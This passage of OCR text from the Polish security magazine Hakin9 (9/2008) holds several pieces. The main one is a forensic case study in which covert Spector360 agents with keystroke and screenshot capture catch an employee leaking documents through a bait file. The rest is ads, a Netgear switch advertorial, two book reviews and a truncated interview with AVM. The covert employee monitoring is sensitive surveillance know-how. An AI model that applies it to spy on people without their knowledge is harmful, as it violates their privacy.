bramek VPN do sieci komputerowej. Zasoby
te dostępne były w wyłącznie w trybie do
odczytu, bez możliwości kopiowania. Aby
określić mechanizm wypływu, konieczne
było pozyskanie informacji związanych
z przetwarzaniem tych dokumentów na
podejrzanych komputerach (wykrycie
mechanizmu kopiowania, metod przekazu
lub wydruku dokumentów). Podejrzewano,
Baza
danych
SQL Server & Database
Data Vault
Primary Server
Analiza – Zarządzanie
Konfiguracja
Dashboard
Conrol Center
Komputery monitorowane
Konfiguracja
Zareje
strowane
zdarzenia
Rysunek 1.
Widok poglądowy sieci
BEZPIECZNA FIRMA
68
HAKIN9 9/2008
ŚLEDZTWO ELEKTRONICZNE
69
HAKIN9
9/2008
iż jeden z pracowników udostępnia dane
konkurencji, drukując dokumenty – jednak
ukryte badanie w ramach usług help-
deskowych nie potwierdziło żadnych śladów
takich działań.
Wszystkie te czynniki złożyły się na
konieczność zastosowania rozwiązania
dedykowanego. Instalacji klientów
Spector360 na wybranej grupie
komputerów przenośnych dokonano,
podczas gdy pracownicy mobilni podłączali
swoje komputery do sieci firmowej. Co
ważne, wszelkie czynności związane z
instalacją nie były widoczne ani odczuwalne
dla użytkownika. W międzyczasie
opublikowano w ramach kampanii nowy
dokument, zawierający pewne istotne
informacje, mający stanowić swego rodzaju
przynętę dla nielojalnego pracownika.
Dochodzenie można przeprowadzać
bezpośrednio po przesłaniu danych do
usługi Data Vault. Proces ten nazywany
jest monitorowaniem, ponieważ agent
nadzoruje czynności użytkownika w celu
przechwycenia interesujących go zdarzeń.
Platforma za pomocą swojego klienta może
monitorować, a następnie rejestrować takie
czynności użytkowników, jak:
• czas związany z logowaniem się
na komputerze oraz aktywnością
pracownika,
• aktywność oprogramowania, które
jest uruchamiane przez użytkownika
podczas sesji,
• dane na temat stron WWW
odwiedzanych za pomocą
przeglądarek internetowych oraz
wyszukiwanych dzięki nim informacji,
• wszelkie dane związane z obsługą
poczty internetowej – niezależnie
od tego, czy użytkownik korzysta
z programu pocztowego
zainstalowanego na monitorowanej
jednostce, czy z interfejsu WWW,
• aktywność sieciowa użytkownika –
wszelkie informacje na temat połączeń
sieciowych dokonywanych podczas
sesji, realizowanych za pomocą
różnego oprogramowania bądź przez
sam system operacyjny,
• informacje związane z transferem plików,
FTP, różnego rodzaju formularzami
WWW, udziałami sieciowymi,
• wszelkie informacje związane z
przetwarzaniem dokumentów:
tworzenie dokumentu, zmiana treści,
kasowanie, zmiana nazwy, kopiowanie
na urządzenia przenośne bądź udziały
sieciowe, przesyłanie dokumentów za
pośrednictwem poczty internetowej lub
innych usług działających w sieci oraz
drukowanie dokumentów,
• przechwytywanie wprowadzanych z
klawiatury znaków.
Następnym krokiem jest analiza zebranych
danych, które zostały zgromadzone w
postaci znaków wpisywanych z klawiatury,
zrzutów ekranów, plików oraz informacji o
zdarzeniach, jakie miały miejsce podczas
pracy użytkownika. Analizę można
przeprowadzać na kilka sposobów, np.:
poprzez przegląd zgromadzonych informacji
według użytkowników, komputerów, usług
bądź innych kryteriów. Po przeprowadzeniu
analizy oraz zebraniu wystarczającej ilości
dowodów tworzy się raport zawierający
wszelkie informacje dotyczące czynności
wykonanych przez użytkownika. Raport
może również zawierać informacje w
postaci zapisu poszczególnych czynności,
Rysunek 3.
Dashborad
Rysunek 2.
Aplikacja Control Center
BEZPIECZNA FIRMA
68
HAKIN9 9/2008
ŚLEDZTWO ELEKTRONICZNE
69
HAKIN9
9/2008
jakie wykonywał użytkownik, zrzutów ekranów
odpowiadających określonym operacjom
oraz treści bądź plików, które są obiektem
incydentu.
Przedział czasu pomiędzy
zarejestrowanym zdarzeniem a reakcją
na incydent może być różny. Jest to
spowodowane sposobem, w jaki dane
spływają do bazy danych. W przypadku
komputerów przenośnych, które używane
są przez pracowników poza siedzibą firmy,
wszystkie zdarzenia, jakie ma monitorować
klient, są rejestrowane i przechowywane
na twardym dysku komputera. Pracownik
nie ma dostępu do tych zapisów, nie
może ich skasować bądź zmodyfikować.
Po podłączeniu komputera przenośnego
do sieci, w której działają usługi platformy
Spector, dane zostają automatycznie
przesyłane i mogą zostać poddane analizie
przez osoby upoważnione do tych czynności.
Zgodnie z przewidywaniami incydent
wystąpił. Po kilku dniach pracy użytkowników
na komputerach przenośnych i ponownym
ich włączeniu się do sieci, udało się
zgromadzić wystarczającą ilość materiału
niezbędnego do przeprowadzenia analizy.
Ze względu na nieznajomość
mechanizmu wycieku oraz z uwagi na ilość
materiału analizę podzielono na etapy. W
pierwszej fazie zbadano oprogramowanie,
które wykorzystywane było w codziennej
pracy użytkowników. Faza ta pozwoliła na
stworzenie historii aktywności pracowników.
Uzyskano następujące informacje:
• Jakie programy były uruchamiane w
czasie pomiędzy publikacją dokumentu
a incydentem.
• Ile czasu użytkownicy poświęcili na
obsługę danego programu.
• Jakiego rodzaju aplikacją był badany
program i w jakim celu został
wykorzystany.
• Jaką aktywność sieciową
wygenerował program – wydzielono
informacje związane z połączeniami
wykonywanymi przez oprogramowanie
(ustalenie, dokąd aplikacja dokonywała
połączenia oraz z jakiego rodzaju
usługą nastąpiło połączenie).
Analiza ujawniła cały szereg
nieprawidłowości. Największe podejrzenie
padło na oprogramowanie służące
Rysunek 5.
Krok 1
Rysunek 6.
Krok 2
W Sieci
• http://www.mediarecovery.pl,
• http://www.forensictools.pl,
• http://www.spectorsoft.com,
• http://www.guidancesoftware.com.
Rysunek 4.
Incydent
��
���
��
��
��
��
�������
�����
��
��
���
BEZPIECZNA FIRMA
70
HAKIN9 9/2008
do przeprowadzania rozmów w sieci
Internet. Wychwycono komunikator
nie zainstalowany na analizowanym
komputerze, lecz uruchamiany za
pomocą przeglądarki internetowej
oraz wykryto pracownika, który używał
prywatnej skrzynki pocztowej, co – jak
wynika z informacji otrzymanej z działu
IT – nie było zgodne z zasadami
obowiązującej polityki bezpieczeństwa
(Rysunek 5).
Ten etap pozwolił zawęzić ilość
podejrzanych maszyn poprzez wykluczenie
użytkowników, którzy nie mieli możliwości
przekazania informacji, a także wytypować
dwóch najbardziej podejrzanych
pracowników. Aby nie zawęzić nadmiernie
śledztwa, dalszej analizie poddano
wszystkie pozostałe komputery. Ten etap
obejmował już bardziej szczegółowe
analizy obejmujące informacje,
jakie zostały pobrane, wysłane bądź
przetworzone za pomocą wytypowanego
oprogramowania wykorzystywanego na
komputerach poddanych monitorowaniu.
Przeanalizowano przeglądarki internetowe,
komunikatory oraz oprogramowanie do
zarządzania wiadomościami email. Dane
które podlegały analizie:
• Informacje wprowadzane przez
użytkowników za pomocą klawiatury.
• Dane wysłane bądź odebrane przez
oprogramowanie.
Podstawą takich analiz są tzw. słowa-klucze
(keywords), czyli odpowiednio dobrane,
unikalne wyrazy (słowem kluczem jest
np. wyraz Mediarecovery, a nie jest nim
wyraz ale). Odpowiedni dobór słów-kluczy
gwarantuje wyszukanie interesujących nas
informacji, a co za tym idzie – odrzucenie
często bardzo dużej ilości zbędnych
danych, które wymagałyby dużej ilości
czasu do przeanalizowania.
W tym przypadku użyte słowa-klucze
pochodziły ze spreparowanej kampanii. Ich
wystąpienia pojawiły się u kilku użytkowników
głównie w dwóch kategoriach: email oraz
keystore. Ze względu na charakter pracy
niektórych osób nie wszystkie te wystąpienia
musiały być nieprawidłowe. Jednak po
przeprowadzeniu głębszej analizy wykryto:
• Przeprowadzoną za pomocą programu
WebGG rozmowę zawierającą jedno
bądź więcej słów kluczy.
• Wysyłane wiadomości email poprzez
prywatną skrzynkę – wraz z załącznikami;
treść wiadomości (Rysunek 6).
Informacje te potwierdziły pierwotne
przypuszczenia. W kolejnym kroku
pozostawiono już tylko dwóch podejrzanych.
Na trzecim etapie zbadano wszelkie
informacje związane z przetwarzaniem
dokumentów przez pracowników na
monitorowanych komputerach. Czynności,
które zostały objęte analizą:
• Tworzenie, usuwanie, zmiana nazwy
dokumentu.
• Zmiana treści, kopiowanie zawartości.
• Rotacja plików pomiędzy urządzeniami.
• Drukowanie dokumentów.
Zgromadzony materiał pozwolił wykazać, że
jeden z użytkowników przesyłał za pomocą
prywatnej skrzynki email plik o rozszerzeniu
xls. Plik ten zawierał zrzut ekranu
interesującego nas dokumentu. Dodatkowo
był chroniony hasłem, które pozyskano z
zapisu tekstu wprowadzanego z klawiatury.
Po wysłaniu wiadomość była kasowana
ze skrzynki elementów wysłanych przez
pracownika (Rysunek 7).
Podsumowanie
W świecie, w którym 90% informacji
porusza się elektronicznie, niezwykle łatwo
jest przekazać na zewnątrz dane, które nie
powinny opuścić organizacji. Wykorzystanie
prostych mechanizmów – w normalnych
warunkach – pozwala na całkowite
maskowanie się nieuczciwego pracownika.
Dlatego też tak istotne jest wdrożenie
odpowiednich procedur i rozwiązań
technicznych. Omówiony w powyższym
artykule przykład z zastosowaniem
platformy informatyki śledczej pokazuje,
jak można sobie poradzić z takimi
przypadkami nielojalności.
Wartością dodaną w przypadku
takich rozwiązań jest możliwość
zastosowania zgromadzonego materiału
np. w wyszkoleniu nowego pracownika,
poprawianiu jego błędów bądź
usprawnieniu metodologii wykonywanych
czynności. Używając zaimplementowanych
mechanizmów można zapewnić firmie
kontrolę nad wydajnością pracy i
proaktywnie zapobiegać ewentualnym
naruszeniom zasad bezpieczeństwa
informacji również poprzez definiowanie
alertów pozwalających na informowanie
odpowiednich osób zajmujących się
bezpieczeństwem o niepożądanych
zdarzeniach bądź czynnościach
wykonanych przez użytkownika.
O autorze
Piotr Faj jest specjalistą w laboratorium informatyki
śledczej Mediarecovery. Zapalony miłośnik zagadnień
bezpieczeństwa i oprogramowania z rodziny open
source. Specjalista analizy powłamaniowej. Wydajnością
pracy wielozadaniowej potrafi powalić nawet Pentium
Core 2 Duo.
Kontakt z autorem: pfaj@mediarecovery.pl
Rysunek 7.
Krok 3
Prenumerata Pro
Media
Systems
Firma Media Systems oferuje Państwu
usługi oparte o rozwiązania systemu
CashBill.pl i są to: organizacja kam-
panii marketingowych opartych o kon-
kursy SMS’owe, organizacja kampanii
reklamowych serwisów internetowych,
system płatności elektronicznych po-
przez karty płatnicze i przelewy. Prócz
wymienionych usług oferujemy także
budowę stron www, sprzedaż domen
oraz pozycjonowanie w wyszukiwar-
kach. Zapraszamy do współpracy.
TTS Company Sp. z o.o.
Sprzedaż i dystrybucja oprogramowania
komputerowego. Import programów na
zamówienie. Ponad 200 producentów w
standardowej ofercie.
Chcesz kupić oprogramowanie i nie mo-
żesz znaleźć polskiego dostawcy?
Skontaktuj się z nami - sprowadzimy na-
wet pojedyncze licencje.
www.OprogramowanieKomputerowe.pl
CCNS
Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.
www.ccns.pl
Petrosoft
Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezenta-
cji multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsorcin-
gowe dla dużych firm z zakresu infor-
matyki i telekomunikacji. Oprogramo-
wanie na zamówienia. Dostawa serwe-
rów, sprzętu, oprogramowania.
38-200 Jasło, ul. 3 Maja 101
Biuro: (13) 44 66 666
biuro@petrosoft.pl
kontakt do nas:
katarzyna.juszczynska@software.com.pl,
robert.gontarski@software.com.pl
tel.: 22 427 36 77
Enigma SOI
Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.
• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie
na serwerach i stacjach klienckich
• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki
www.enigma.com.pl
Kei.pl
Kei.pl działa na rynku usług hostingo-
wych od 2000 roku. Do naszych za-
dowolonych Klientów z dumą możemy
zaliczyć wiele przedsiębiorstw sektora
MSP, instytucji oraz osób prywatnych.
W ofercie Kei.pl znajdują się pakiety ho-
stingowe, a także usługi dla wymagają-
cych Użytkowników – platformy e-Biz-
nes oraz serwery fizyczne.
www.kei.pl
Sokra-NET
Działa od roku 2002, specjalizuje się
w szeroko pojętym bezpieczeństwie in-
formacji. Posiada wykwalifikowany spe-
cjalnie do tych celów zespół inżynierów
którzy przy współpracy z naszymi klien-
tami maksymalizują bezpieczeństwo
danych, audytując i dobezpieczając.
Wykonujemy testy penetracyjne, ana-
lizy kodów źródłowych, testy wydajno-
ściowe aplikacji i ich środowisk telein-
formatycznych. Wdrażamy polityki bez-
pieczeństwa. Wspomagamy naszych
partnerów merytorycznie.
www.sokra.net
Sokra-NET
72
HAKIN9 9/2008
Podczas wielu lat rozwoju sieci lokalnych
wykształtowała się luka w warstwie
dostępowej. Małe i średnie firmy były
skazane na przełączniki niezarządzane
lub przełączniki, których funkcje w dużej
części były niewykorzystywane. Dodatkowo
zarządzanie przez linię poleceń wymagało
od klienta wiedzy, której często nie posiadał.
Małe i średnie firmy wymagają, aby
infrastruktura wspierała określone aplikacje
wykorzystywane w organizacji. W tym
przypadku klasyfikacja przełączników
powinna odbywać się na podstawie
funkcjonalności, która często wychodzi
poza ramy konkretnej warstwy modelu OSI.
Aplikacje wykorzystujące do komunikacji
ludzki głos nie mogą obyć się bez wsparcia
ze strony infrastruktury sieciowej. To właśnie
ten sposób komunikacji jest jednym z
najbardziej wymagających. I niekoniecznie
chodzi tutaj o gwarancję dostępnego
pasma, ale o wsparcie w postaci
priorytetyzacji danej aplikacji na tle innych
Be Smart
Buy Smart
Przełączniki z serii ProSafe Smart stanowią alternatywę dla w pełni zarządzanych,
klasycznych przełączników warstwy 2. Przełączniki te pozbawione zbytniej złożoności
dostarczają Klientowi funkcje typowe, dla przełączników zarządzanych, a dzięki temu
pozbawione są dodatkowego kosztu.
równie ważnych, ale bardziej odpornych na
opóźnienia czy też utratę pakietów.
Dobrym tego przykładem jest Telefonia IP,
która wymaga klasyfikacji generowanego
przez siebie ruchu w warstwie dostępowej. W
tym wypadku zostanie przypisany pakietowi
IP priorytet charakterystyczny dla warstwy
drugiej lub warty trzeciej modelu OSI.
Przełączniki z serii Smart dostarczają w
zależności od konfiguracji od 4 do 8 kolejek
na port oraz wsparcie w warstwie 2/3/4.
NARZĘDZIA DLA FIRM
Dodatkowo znacznym udogodnieniem
jest funkcja Auto-Voice VLAN pozwalająca
na utworzenie dedykowanego VLANu dla
portu z podłączonym telefonem IP
Bardzo interesującą funkcją jest
statyczny routing, który znajdziemy w
przełącznikach GS724TR oraz GS748TR.
Daje on możliwość utworzenia 32
statycznych wpisów a dzięki temu możemy
„routować” ruch pomiędzy VLANami
oraz efektywnie zarządzać dostępną
Need for control
1-5
5-20
20-100
100-200
200+
Smart Switches
Managed Switches
Complete control
Complex configuration
CLI, Web management
Unmanged Switches
Basic connectivity
No configuration
73
HAKIN9
9/2008
przepustowością poprzez ograniczenie
burzy rozgłoszeniowej.
Jeśli chodzi o aspekty bezpieczeństwa to i
te nie są obce przełącznikom z serii Smart.
Jak wiemy zabezpieczenie infrastruktury
sieciowej ma znaczenie krytyczne dla
działania każdej organizacji. Przełączniki
z serii Smart zapewniają kontrolę na
poziomie dostępu do portu (802.1x) czy też
tworzenie list dostępu ACL. Możliwa jest
również autentykacja za pomocą serwera
TACACS+ czy Radius.
Również w zarządzaniu przełącznikami
z serii Smart dokonano pewnych zmian.
Zrezygnowano z zarządzania za pomocą
konsoli często nieużywanej w małych
organizacjach, a pozostawiono protokół
SNMP w wersji 1/2c/3. Dzięki temu
małe organizacje nie ponoszą kosztu
nadmiarowego sposobu zarządzania
przełącznikiem a duże, które wykorzystują
niezależne aplikacje zarządzające nie
odczuwają ograniczeń.
W zależności od konfiguracji dostępne są
również przełączniki (GS724TS, GS748TS) z
dedykowanym interfejsem umożliwiającym
łączenie ich w stos. Nie jest to łączenie
w „stos”, które było charakterystyczne dla
starszych przełączników warstwy 2, czyli
łączenie przełączników poprzez port uplink.
Dedykowany interfejs daje możliwość
przesłania w jedną stronę 20Gb danych w
ciągu 1 sekundy. Po zamknięciu pierścienia
dostępna przepustowość wynosi, 40
Gb/s. Dodatkową zaletą wykorzystania
połączenia jest jeden, wspólny interfejs
WWW dla wszystkich urządzeń pracujących
w stosie. Dedykowany interfejs znajduje się
na tylnym panelu obudowy przełącznika
a dzięki temu nie wpływa na ułożenie
okablowania strukturalnego.
Na koniec warto wspomnieć o
niezawodności oraz wieczystej gwarancji.
Aby zmierzyć niezawodność danego
urządzenia należy wyznaczyć jego MTBF
(ang. Mean Time Between Failures), czyli
czas bezawaryjnej pracy. W przypadku
przełączników z serii ProSafe czas
bezawaryjnej pracy w zależności od
konfiguracji dochodzi do 37 lat. Jak łatwo
zauważyć czas ten, znacznie przewyższa
średni cykl życia tego typu rozwiązania.
Świadectwem wysokiej bezawaryjności
jest również wieczysta gwarancją, którą
są objęte wszystkie przełączniki z serii
ProSafe. Również elementy najczęściej
ulegające awarii typu wentylatory czy też
zasilacze objęte są wieczystą gwarancją
producenta.
Kontakt
NETGEAR POLAND sp. z o.o.
Al. Jerozolimskie 65/79
00-697 Warszawa
e-mail: sales_pl@netgear.com
tel. 022 630 66 40
NETGEAR GS724TR
NETGEAR GS748TR
Cena End User
$649
$1169
Konfiguracja
24 x 1Gb/s BaseT,
2 x SFP Combo
48 x 1Gb/s BaseT,
4 x SFP Combo
Zarządzanie
LLDP Discovery
Y
Y
SNMP
v1/2/3
V1/2/3
WWW
Y
Y
Bezpieczeństwo
VLAN
Y
Y
802.1x
Y
Y
ACLs
Y
Y
Quality of Service
Liczba kolejek
8
8
QoS
Layer 2/3/4
Layer 2/3/4
Ograniczenie pasma
Y
Y
Auto Voice VLAN
Y
Y
Skalowalność
Rapid Spanning Tree
Y
Y
IGMP Snooping
Y
Y
Funkcje zaawansowane
Static Routing
Y
Y
IGMP Querier
Y
Y
Gwarancja
Wieczysta
Wieczysta
BE SMART BUY SMART
74
KSIĄŻKI
HAKIN9 9/2008
Biometria.
Tajemnica-Atak-Obrona
Autorzy książki są uznanymi ekspertami
w dziedzinie biometrii. Pracują
w Thomas J. Watson Research
Center przy IBM i biometria należy do ich zadań
zawodowych – a dokładniej: analiza systemów
biometrycznych, badania nad przetwarzaniem
obrazów wideo, identyfikacja biometryczna,
rozpoznawanie wzorców i inne.
Książka stanowi kompendium wiedzy w
dziedzinie biometrii. Mając na uwadze fakt,
że to stosunkowo młoda dziedzina nauki, ale
dynamicznie się rozwijająca, pozycja stanowi
kompletne źródło wiedzy dla osób pragnących
zgłębić tajniki inżynierii biometrycznej.
Książka jest podzielona na 4 niezależne
od siebie rozdziały. Sprawia to, że może być
adresowana zarówno do studentów chcących
poznać podstawy systemów biometrycznych, jak
i do osób szukających konkretnych rozwiązań,
a także zajmujących się analizą i opisem
matematycznym systemów biometrycznych.
Część I – Czytelnik znajdzie tu teorię
dotyczącą podstaw systemów biometrycznych.
Z tego rozdziału dowie się on, że każdy człowiek
posiada biometryki fizjologiczne oraz biometryki
behawioralne. Przykłady biometryk fizjologicznych
to m.in. odcisk palca, geometria dłoni, obraz
tęczówki oka. Z kolei biometryki fizjologiczne to
m.in. podpis, głos czy chód człowieka. Cechy
biometryczne muszą spełniać pewne kryteria
– jak trwałość, jednoznaczność czy ściągalność.
Systemy uwierzytelniania można podzielić na 3
grupy: z użyciem fizycznych środków do identyfikacji
(np. klucz, karta magnetyczna lub chipowa),
wykorzystujące wiedzę osób uwierzytelnianych (np.
hasło czy odpowiedź na pytanie) oraz biometryki.
Wymagania systemu identyfikacji odnoszą się do
dokładności, szybkości obliczeń, obsługi wyjątków
oraz kosztu systemu. Znajdziemy w tej części także
opis typowego procesu identyfikacji biometrycznej,
a także informacje o tym, jak są przechowywane
wzorcowe dane biometryczne, dowiemy się,
jak następuje komparacja wzorca z próbką i
przeczytamy opis popularnych biometryk.
Część II zawiera zalecenia co do biometrycznych
systemów uwierzytelniania. Projektując system
wykorzystujący określoną biometrykę, musimy
liczyć się z tym, że nie jest on idealny i w pewnych
sytuacjach może popełniać pomyłki. Te błędy to
niesłuszna zgodność oraz niesłuszna niezgodność.
W praktyce zawsze wskaźniki te będą mieć
niezerowe wartości. Jeżeli uwierzytelniamy się w
systemie hasłem, może ono zostać przekazane albo
skradzione, w przypadku systemu biometrycznego
mamy dowód, że dana osoba rzeczywiście była
obecna – choć z pewnym prawdopodobieństwem.
Ten rozdział skupia się na błędach systemów,
sposobach ich oszacowania oraz na wybraniu
kompromisu między bezpieczeństwem systemu
a kosztami. Czytelnik dowie się także, że aby
biometryczny system identyfikacji uzyskał pełną
gotowość do pracy, trzeba go najpierw wytrenować
w odpowiedniej populacji osobników.
Część III – rozdział ten skupia się na omówieniu
bazy danych biometrycznych wraz z jej cechami. W
systemach uwierzytelniania dużej ważności zwykle
nie wystarcza korzystanie z 1 biometryki. W takich
przypadkach budowane są systemy korzystające
z kilku biometryk lub z biometryki i informacji
dodatkowych. Konieczne jest zatem łączenie
informacji o uwierzytelnianej osobie pochodzącej
z kilku źródeł, a następnie filtrowanie, kubełkowanie
i porównywanie próbek z wzorcami w bazie
danych. Czytelnik zostaje uświadomiony, że aby
system mógł zacząć funkcjonować, konieczne jest
zarejestrowanie wyborców. Dodatkowo podczas
rejestracji należy zadbać o odpowiednią jakość
próbki wzorca. W rozdziale tym w celu opisania
występujących zjawisk i problemów autorzy musieli
zastosować zaawansowany aparat matematyczny.
Pod koniec tej części można znaleźć analizę
podatności systemów biometrycznych na ataki
oraz możliwości nadużyć w tych systemach.
Część IV jest adresowana do znawców tematu
– co krok natykamy się tu na skomplikowane
wzory i oszacowania. Wykorzystywana jest analiza
statystyczna systemów biometrycznych. Czytelnik
natknie się tu m.in. na standardy dowodów
sądowych.
Biometria to fascynująca nauka i na pewno
zasługuje na uwagę. Niewątpliwie systemy
biometryczne będą intensywnie wykorzystywane
w najbliższej przyszłości. Przemawia za tym wiele
zalet, m.in. fakt, że gdy do uwierzytelnienia służy
biometryka, użytkownik zostaje odciążony od
konieczności pamiętania haseł. Aby system działał
prawidłowo, należy spełnić kilka wymagań, m.in.
zapewnić zbieranie dobrej jakości próbek. Argument
przeciw to naruszenie prywatności użytkowników
oraz spory natury prawnej. Poza tym baza
wyborców musi być wystarczająco silnie chroniona.
Zawsze należy jednak pamiętać, że nawet system
uwierzytelniania wykorzystujący wiele biometryk nie
jest w stanie zapewnić 100 % identyfikacji wzorca.
Autorzy: Ruud M. Bolle, Jonathan
H. Connell, Sharath Pankanti,
Nalini K. Ratha, Andrew W. Senior
Wydawca: WNT, Warszawa
Rok wydania w Polsce: 2008
Liczba stron: 408
Recenzent: Rafał Lysik
Ocena: 5
75
KSIĘGOZBIÓR
HAKIN9
9/2008
Analiza Ryzyka i Ochrona
Informacji w Systemach Komputerowych
Krzysztof Liderman jest uznanym
autorem wśród twórców książek
związanych z bezpieczeństwem
komputerowym. Popularność zyskał sobie
dzięki książce Podręcznik Administratora
bezpieczeństwa teleinformatycznego. Co
znajdziemy w Analizie Ryzyka? Zobaczmy...
Przede wszystkim książka jest bardzo
dobrze podzielona na kilka logicznie
wyodrębnionych części. Zaczynamy od
ogólników na temat informacji, bezpieczeństwa
i systemu ochrony – gdzie poznamy nieco
terminologii związanej z tematem – po czym
dowiemy się trochę o procesach biznesowych.
Kolejna kwestia poruszana przez autora
to inwentaryzacja i klasyfikacja zasobów
– nauczymy się tutaj oceniać ich wartość.
Bardzo ważnym rozdziałem jest ten o
zagrożeniach i podatnościach. Wiedząc, na
co jesteśmy narażeni, będziemy mogli lepiej
temu przeciwdziałać. Przeczytamy także o
pomiarach bezpieczeństwa teleinformatycznego
– jak je mierzyć i jak interpretować wyniki
– a następnie, po analizie, przejdziemy już
do ryzyka i zarządzania nim. Jest to chyba
najważniejsza część książki, na która warto
zwrócić szczególną uwagę. Po przebrnięciu
przez nią zapoznamy się z testowaniem oraz
audytami i certyfikowaniem. Ostatnie dwa działy
poświęcono standardom (autor zamieścił tutaj
informacje między innymi o wymaganiach
normy PN-ISO/IEC 27001:2007) i projektowaniu.
Na koniec możemy przeczytać załącznik, który
traktuje o autorskiej metodyce L-RAC analizy i
kontrolowania ryzyka w zakresie bezpieczeństwa
teleinformatycznego. Jej najważniejszą cechą
jest jednolity z przyjętym w metodyce audytu
bezpieczeństwa teleinformatycznego LP-A
standard opisu oraz pokazanie związków z
zapisami normy PN-ISO/IEC 27001:2007.
Zauważmy także, że wspomniana metodyka
może zostać zastosowana także w innych
przypadkach, jak np. bezpieczeństwo
energetyczne, bezpieczeństwo transportu
cennych ładunków itp.
Kto skorzysta na przeczytaniu tej
książki? Z pewnością osoby odpowiadające
za bezpieczeństwo, administratorzy
bezpieczeństwa, administratorzy systemów,
pełnomocnicy ds. bezpieczeństwa, kierownicy
działów teleinformatyki. Nic jednak nie stoi
na przeszkodzie, aby przeczytały ją także
osoby, które interesują się tym tematem i
chciałyby się nieco nauczyć o analizie ryzyka i
ochronie informacji. Wydawca poleca książkę
również studentom mającym w programie
studiów kursy powiązane z bezpieczeństwem
teleinformatycznym.
Autor: Krzysztof Liderman
Wydawca: PWN
Rok wydania w Polsce: 2008
Liczba stron: 300
Recenzent: Roger Zacharczyk
Ocena: 5
R
E
K
L
A
M
A
76
WYWIAD
HAKIN9 9/2008
ROZMOWA Z KLAUSEM VON KRIES
77
HAKIN9
9/2008
zamiar wypuścić produkt 7270. Ponieważ
model 7270 integruje obsługę standardu
802.11N z technologią MIMO, warto od
razu wprowadzić odpowiedni WLAN
USB Stick. Nowy Stick WLAN nie będzie
wymagał użycia płyty CD. Sterownik
jest całkowicie przeniesiony do pamięci
lokalnej Sticka i obsługuje system
Windows Vista. Dzięki temu instalacja
przebiega łatwiej. Po prostu wystarczy
wszystko odpowiednio podłączyć i
rozpoczynamy pracę.
h9: Która z nowych technologii może
stać się przebojem tego roku?
KK: Z technologiami to jest tak, że żadna
z nich sama w sobie nie stanie się
hitem. Przypuszczam, że zależy to od
odpowiedniej kombinacji dostępnych
możliwości. Model 7270 ma duże
szanse, aby stać się przebojem tego
roku. Obecnie nie istnieje na rynku
żaden produkt, który w tak małym
urządzeniu łączyłby taką kompleksowość.
Pod względem technicznym nie znam
żadnego innego sprzętu, który łączy
w sobie: router ADSL2+ i bramkę VoIP,
centralkę telefonii ISDN i analogowej,
2 łącza analogowe, wewnętrzny ISDN
Bus, DECT CatIQ Access Point, 802.11
a/b/g/N Access Point i host USB 2.0.
Potężne możliwości urządzenia można
jednak wykorzystać dopiero dzięki
odpowiedniemu oprogramowaniu. Czy
to wystarczy, aby produkt ten stał się
hitem roku? Na to pytanie nie umiem
odpowiedzieć. Rynki reagują bardzo
różnie. Doskonale to rozumiem, jestem
jednakże przekonany, że ten produkt nie
okaże się bublem.
h9: Co wyróżnia sprzęt AVM'a od
konkurencji. Na rynku podobnych
hakin9: Nad czym obecnie głównie
pracuje firma AVM?
Klaus von Kries: Obecnie pracujemy
nad następną aktualizacją major
firmware. Chcemy wzbogacić
system o nowe funkcje – takie, jak
automatyczna sekretarka i fax. Zależy
nam na tym, aby obie funkcje były
nadzorowane przez skrzynkę bez
zastosowania dodatkowego sprzętu.
Dodatkowo system będzie wyposażony
w funkcjonalność VPN. Projekt ten był
długo wyczekiwany przez sprzedawców
i dystrybutorów, ponieważ wspomniane
elementy są kluczowe dla dobrej
współpracy z klientami. System Firmware
update powinien dotyczyć 3 produktów:
FRITZ!BoxFon 5124, FRITZ!Box Fon
WLAN 7140 oraz FRITZ!Box Fon WLAN
7170. Ponadto kładziemy nacisk na
wprowadzenie na rynek anglojęzycznej
wersji produktu FRITZ!Box Fon WLAN
7270, której z niecierpliwością oczekują
nasi klienci. Reagowanie na ich potrzeby
z odpowiednią szybkością jest niekiedy
rzeczywiście trudnym zadaniem.
h9: Jaki będzie nowy produkt,
nad którego wprowadzeniem się
zastanawiacie?
KK: Jak wcześniej wspomniałem, w
trzecim kwartale bieżącego roku mamy
Stawiamy na
rozwój
Swoją pracę w AVM rozpocząłem w roku 1999 w dziale wsparcia – Network Support.
Zapewnialiśmy wtedy wsparcie dla routera Multiprotokoll Software ISDN w firmach
Novell i NT. Później pracowałem w dziale wsparcia międzynarodowego, po czym
zostałem przeniesiony do niemieckiego zespołu wspierającego – aby w późniejszym
czasie zostać włączonym do międzynarodowego działu przedsprzedaży.
76
WYWIAD
HAKIN9 9/2008
ROZMOWA Z KLAUSEM VON KRIES
77
HAKIN9
9/2008
rozwiązań jest dużo, jaki jest mocny
punkt np. routerow Fritz?
KK: Przywiązywanie ogromnej wagi do
szczegółów. Dzięki uwagom naszych
klientów, staramy się podwyższyć jakość
produktów oraz sprawić, aby były bardziej
konkurencyjne na rynku. Ponadto dbamy
o regularną aktualizację naszego
oprogramowania. Ten system sprawdza
się i sprawia, że klienci się do nas
przywiązują.
h9: Czy AVM ma lub planuje
wprowadzenie do produkcji chipów
WiMax?
KK: Na dzień dzisiejszy nie produkujemy
chipów. Nie wykluczam jednak, że w
przyszłości ulegnie to zmianie.
Ponownej oceny dokonamy, kiedy
zauważymy w tym rynku możliwości,
które moglibyśmy wykorzystać. Mimo
to FRITZ!Box można zastosować w
alternatywnych sieciach. Podłączenie
modemu Wimax jest możliwe poprzez
FRITZ!Box Fon – podobnie jak
podłączenie kablówki. Można przy tym
wykorzystać zarówno protokół PPP, jak i
bezpośrednio IP.
h9: Analitycy In-Stat informują o tym,
że ponad 50% przebadanych firm nie
miało opracowanych mechanizmów
zabezpieczających sieci VoIP. Czy zatem
technologia VoIP jest bezpieczna? I
czy nie należałoby kłaść większych
